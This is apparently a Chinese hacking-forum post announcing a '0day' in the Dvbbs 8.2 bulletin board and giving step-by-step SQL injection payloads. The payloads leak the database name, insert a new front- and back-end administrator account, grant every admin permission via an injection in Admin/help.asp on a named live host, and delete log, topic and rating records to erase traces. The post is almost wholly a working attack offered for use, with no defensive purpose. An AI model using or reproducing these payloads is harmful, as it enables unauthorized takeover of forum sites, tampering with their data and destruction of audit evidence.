dvbbs 8.2__0day
利用:发帖子,标题为下面的sql语句,然后点评论。0为中立, 1为支持, 2为反对 都行。
这时sql语句被执行
库名:
a','',1,'job987','2008-2-4','',2);update/**/dv_user/**/set/**/useremail=db_name()/**/where/**/username='job987'--
加前台和后台管理员:
a','',1,'job987','2008-2-4','',2);update dv_user set UserGroupID=1 where username='job987';insert into dv_admin(Username,Password,Flag,Adduser)values('job987','965eb72c92a549dd',',4,','job987')--
进入后台,通过注入再获取全部权限:
http://lemm.3322.org/Admin/help.asp?action=view&id=1;update/**/dv_admin/**/set/**/flag='1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45'/**/where/**/username='job987'--
清理数据库记录(有三个表):
http://lemm.3322.org/Admin/help.asp?action=view&id=1;delete/**/from/**/dv_log/**/where/**/l_username='job987';delete/**/from/**/dv_topic/**/where/**/PostUsername='job987';delete/**/from/**/Dv_Appraise/**/where/**/UserName='job987'--
(因为是通过后台注入来执行delete语句,所以最后Dv_log还是有一条关于后台help.asp文件访问记录)
页:
[1]